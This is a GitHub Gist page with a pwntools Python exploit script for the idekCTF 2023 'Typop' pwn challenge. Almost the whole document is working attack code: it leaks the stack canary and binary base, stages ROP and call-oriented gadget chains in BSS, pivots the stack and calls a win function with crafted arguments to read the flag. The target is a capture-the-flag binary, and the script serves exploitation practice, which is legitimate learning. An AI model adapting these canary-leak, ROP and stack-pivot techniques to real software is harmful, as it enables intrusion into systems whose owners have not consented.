-
-
Save xct/5c4be3073ba76fea3a52d03a84cf0350 to your computer and use it in GitHub Desktop.
idekCTF 2023 Typop - Win Function with Arguments that requires multiple spread out rop chains to be combined to set them up - including COP gadgets
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import binascii | |
import warnings | |
warnings.filterwarnings('ignore') | |
context.terminal = ['alacritty', '-e', 'zsh', '-c'] | |
context.arch = "amd64" | |
''' | |
Author: @xct_de | |
Exploit centered around setting up rdx via: | |
xor ebx, ebx ; nop [rax+0x00000000] ; mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8] | |
''' | |
# gdb hack | |
def _new_binary(): | |
return "gdb-gef" | |
gdb.binary = _new_binary | |
#p = remote('typop.chal.idek.team',1337, level='debug') | |
p = process("./chall", level="info") | |
binary = ELF("./chall") | |
context.binary = binary | |
''' | |
Leak Canary | |
''' | |
log.info("Leaking Canary, then returning to main") | |
p.recvuntil("survey?") | |
p.sendline("y") | |
p.recvuntil("ctf?") | |
p.sendline("A"*10) | |
p.recvlines(numlines=2) | |
leak = p.recvline().rstrip(b"\n") | |
canaryLeak = leak[0:7].rjust(8, b"\x00") | |
canary = u64(canaryLeak) | |
print(f"Canary {hex(canary)}") | |
p.recvuntil("feedback?") | |
p.sendline(b"A"*10+p64(canary)) # safe return to main, repair canary | |
''' | |
Leak Binary Base & read gadget address to BSS | |
''' | |
log.info("Reading gadget into bss (for indirect addressing in cop gadget), then part of a rop chain, then returning to main") | |
p.recvuntil("survey?") | |
p.sendline("y") | |
p.recvuntil("ctf?") | |
# leak binary base | |
p.sendline("A"*25) | |
p.recvlines(numlines=2) | |
leak = p.recvline().rstrip(b"\n")[-8:].ljust(8, b"\x00") | |
leak = u64(leak) | |
binBase = leak - 0x1447 | |
binary.address = binBase | |
win = binBase + 0x1249 | |
print(f"BinaryBase: {hex(binBase)}") | |
print(f"Win: {hex(win)}") # win function takes 3 args that must be "f" "l" "a" or it wont open the flag | |
# gadgets | |
rop_nop_8 = binary.address+0x1016 # add rsp,8 ,ret | |
rop_nop = binary.address+0x101a # ret | |
rop = ROP(context.binary) | |
rop.raw(rop.find_gadget(['ret'])) | |
rop.rsi = p64(binary.bss(0)+0x300) | |
rop.raw(binary.plt['read']) # read from stdin!! | |
rop.raw(p64(binary.symbols['main'])) # actual return | |
buf = b"" | |
buf += b"AAAABBBBCC" | |
buf += p64(canary) | |
buf += p64(0xdeadc0decafebabe) | |
buf += rop.chain() | |
p.recvuntil("feedback?") | |
p.sendline(buf) | |
next_rop = ROP(context.binary) | |
next_rop.raw(p64(0xdeadbeef)) | |
next_rop.raw(p64(0xdeadbeef)) | |
next_rop.raw(p64(0xdeadbeef)) | |
next_rop.raw(p64(rop_nop)) | |
next_rop.raw(p64(rop_nop)) | |
next_rop.raw(p64(rop_nop)) | |
#next_rop.raw(binary.address+0x1249) | |
p.send(p64(rop_nop_8)+next_rop.chain()) | |
''' | |
One more BSS Read, we need a longer chain there | |
''' | |
log.info("Reading more gadgets into bss, because read was too short") | |
p.recvuntil("survey?") | |
p.sendline("y") | |
p.recvuntil("ctf?") | |
p.sendline("y") | |
rop = ROP(context.binary) | |
rop.raw(rop.find_gadget(['ret'])) | |
rop.rsi = p64(binary.bss(0)+0x328) | |
rop.raw(binary.plt['read']) # read from stdin!! | |
rop.raw(p64(binary.symbols['main'])) # actual return | |
buf = b"" | |
buf += b"AAAABBBBCC" | |
buf += p64(canary) | |
buf += p64(0xdeadc0decafebabe) | |
buf += rop.chain() | |
p.recvuntil("feedback?") | |
p.sendline(buf) | |
next_rop = ROP(context.binary) | |
next_rop.raw(binary.address+0x14d3) # pop rdi // alternative rop.rdi = 0x66 | |
next_rop.raw(p64(0x66)) # f | |
next_rop.raw(binary.address+0x14d1) # pop rsi; pop r15; ret; | |
next_rop.raw(p64(0x6c)) # l | |
next_rop.raw(p64(0xff)) # dummy | |
next_rop.raw(binary.address+0x1249) | |
p.send(next_rop.chain()) | |
''' | |
Finish him, win func with correct args | |
''' | |
log.info("Starting rop chain with evil cop gadget, then pivoting stack into bss for size reasons") | |
p.recvuntil("survey?") | |
p.sendline("y") | |
p.recvuntil("ctf?") | |
p.sendline("y") | |
rop = ROP(context.binary) | |
rop.r14 = 0x61 | |
rop.r15 = p64(binary.bss(0)+0x300) | |
rop.raw(binary.address+0x14a7) | |
rop.raw(p64(binary.address+0x14cd)) # pop rsp | |
rop.raw(p64(binary.bss(0)+0x308)) | |
#gdb.attach(p, f''' | |
#break {binary.address+0x14a7} | |
#break {binary.address+0x101a} | |
#break *win | |
#break *win+113 | |
#break *getFeedback+199 | |
#continue | |
#''') | |
buf = b"" | |
buf += b"AAAABBBBCC" | |
buf += p64(canary) | |
buf += p64(0xdeadc0decafebabe) | |
buf += rop.chain() | |
p.recvuntil("feedback?") | |
p.sendline(buf) | |
print(p.recvall(timeout=2)) | |
#p.interactive() | |
p.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment